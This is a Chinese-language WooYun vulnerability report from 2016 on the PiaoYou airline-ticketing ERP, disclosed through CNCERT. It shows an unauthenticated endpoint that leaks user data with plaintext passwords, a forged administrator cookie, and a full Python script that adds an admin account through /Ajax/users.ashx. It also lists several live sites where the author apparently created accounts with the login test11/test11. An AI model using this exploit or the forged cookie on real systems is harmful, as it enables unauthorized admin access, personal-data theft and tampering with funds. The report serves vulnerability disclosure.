当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167023

漏洞标题:票友ERP管理系统最新版设计权限,直接拿到管理员身份,众多航班服务公司躺枪(附验证脚本)

相关厂商:票友ERP

漏洞作者: sherwel

提交时间:2016-01-04 13:46

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-04: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

这个系统有很多航空服务公司都在用
所以请不要忽略,包括由于机场很多,我就不单独写,打包在一起,给个20吧

详细说明:

目前官方最新版为10.5.6
http://**.**.**.**/
经过测试在 /json_db/kefu_list.aspx?page=1&sidx=id&sord=asc 存在未授权访问
获得的是 个人用户资料 但是密码是明文的,
然后进一步测试 该ERP在添加用户的时候,验证的时候,只验证cookie
因此够造cookie就可以达到我们的目的
在上面我们说过/json_db/kefu_list.aspx?page=1&sidx=id&sord=asc这个连接存在未授权访问,
看看我们能获得什么消息

选区_004.png


根据图中的信息我们可以得到username,truename,kefugroup,roles等字段,这样我们就可以构造
cookie了
添加用户的连接为
http://**.**.**.**/Ajax/users.ashx    post请求
里面的数据为
fs=0&id=0&roles=22&username=testo&yusername=&pwd=testo&truename=testo&sex=男&age=1900-1-1&mob=&hk=&sfz=&zw=&kefugroup=总经办&week=&times=
其中username,pwd,truename等都是要添加用户的属性,其中roles,kefugroup字段是与权限相关,不同网站是不一样的,从哪里获得呢?
可以根据之前/json_db/kefu_list.aspx?page=1&sidx=id&sord=asc链接里面所获得的数据
得到roles,kefugroup字段。
得到这些字段后,我们构造一个管理员的cookie,根据/json_db/kefu_list.aspx?page=1&sidx=id&sord=asc里面的数据
构造如下
cookie:pyerpcookie=loginname=admin&truename=系统管理员&flag=1&datagroup=all&kefugroup=总经办&kpgroup=0&kpdian=
kefugroup,truenamemloginname都是对应的填入
构造好后就可以直接发送了

#!/usr/bin/python
#coding:utf-8
import urllib
import urllib2
import cookielib
import sys
import time
import datetime
import gc
import ssl
import chardet
from Queue import Queue
class ConnectTool:
def __init__(self,debuglevel=0):
self.__null_proxy_handler= urllib2.ProxyHandler({})
urllib2.socket.setdefaulttimeout(10) #设置超时时间
self.__headers = {
'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
'Referer': 'http://**.**.**.**',
'Cookie': 'pyerpcookie=loginname=admin&truename=系统管理员&flag=1&datagroup=all&kefugroup=总经办&kpgroup=0&kpdian='
}
self.__cookie=cookielib.CookieJar()
self.__cJar=cookielib.LWPCookieJar()
self.__httpcookieprocessor=urllib2.HTTPCookieProcessor(self.__cookie)
self.__httpHandler= urllib2.HTTPHandler(debuglevel=debuglevel)
self.__httpsHandler=urllib2.HTTPSHandler(debuglevel=debuglevel)
self.__opener=''
self.__opener=urllib2.build_opener(self.__httpcookieprocessor,self.__null_proxy_handler,self.__httpHandler,self.__httpsHandler)
urllib2.install_opener(self.__opener)
def getHTML(self,URL,way='GET',params={},times=1):
print datetime.datetime.now()
data = 'fs=0&id=0&roles=22&username=testo&yusername=&pwd=testo&truename=testo&sex=男&age=1900-1-1&mob=&hk=&sfz=&zw=&kefugroup=总经办&week=&times='
url=URL
if way=='POST':
req = urllib2.Request(url, data=data, headers=self.__headers)
elif len(params)==0:
req= urllib2.Request(url,headers=self.__headers)
else :
req= urllib2.Request(url+'?'+data,headers=self.__headers)
response=None
try:
# gc.enable()
# gc.set_debug(gc.DEBUG_LEAK)
context = ssl._create_unverified_context()
response = urllib2.urlopen(req,context=context)
temp=str(response.info())
# print 'cooke信息如下:'
# for item in self.__cookie:
# print 'Name = '+item.name
# print 'Value = '+item.value
msg=response.read()

chardit1 = chardet.detect(msg)
the_page = str(msg)


try:
return temp.decode(chardit1['encoding']).encode('utf-8'),the_page.decode(chardit1['encoding']).encode('utf-8')
except Exception,e:
return temp,the_page

# response = urllib2.urlopen('http://**.**.**.**',timeout=10)
# print 'head is %s' % response.info()
except Exception,e:
msgg=None
try:
msgg= '错误码为: %s' % str(e).encode('utf-8')
except Exception,e:
msgg= '错误码为: %s' % str(e)
print msgg
if times <4:
print '尝试第'+str(times)+'次'
time.sleep(3)
return self.getHTML(URL, way, params, times+1)
else :
print '失败次数过多,停止链接'
the_page= msgg
return '',the_page
finally:
if response:
response.close()
# del response
#response.close()
if __name__ == "__main__":
p=ConnectTool()
w,e=p.getHTML('http://**.**.**.**/Ajax/users.ashx',way='POST')
print w,e


附上自己的脚本,返回1表示添加成功,返回0表示添加失败,返回2表示重复添加

漏洞证明:

选区_005.png


由图中可以看到,拿到的是管理员权限,危害性很高,全部个人信息都可以获得,以及升舱之类的所有管理功能
除此之外,还有更重要的,可以操纵资金。

选区_006.png


选区_007.png


受波及的航空公司有很多

选区_008.png


案例
http://**.**.**.**/Main.aspx  test11 test11
http://**.**.**.**/Main.aspx testo testo
http://**.**.**.**/Main.aspx test11 test11
http://**.**.**.**/Main.aspx test11 test11
http://**.**.**.**/Main.aspx test11 test11

选区_010.png


选区_011.png


选区_012.png


选区_013.png


选区_014.png


通用漏洞,危害大,
求上首页。

修复方案:

你们比我更专业

版权声明:转载请注明来源 sherwel@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-08 18:00

厂商回复:

CNVD确认所述情况,已由CNVD通过软件生产厂商(公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无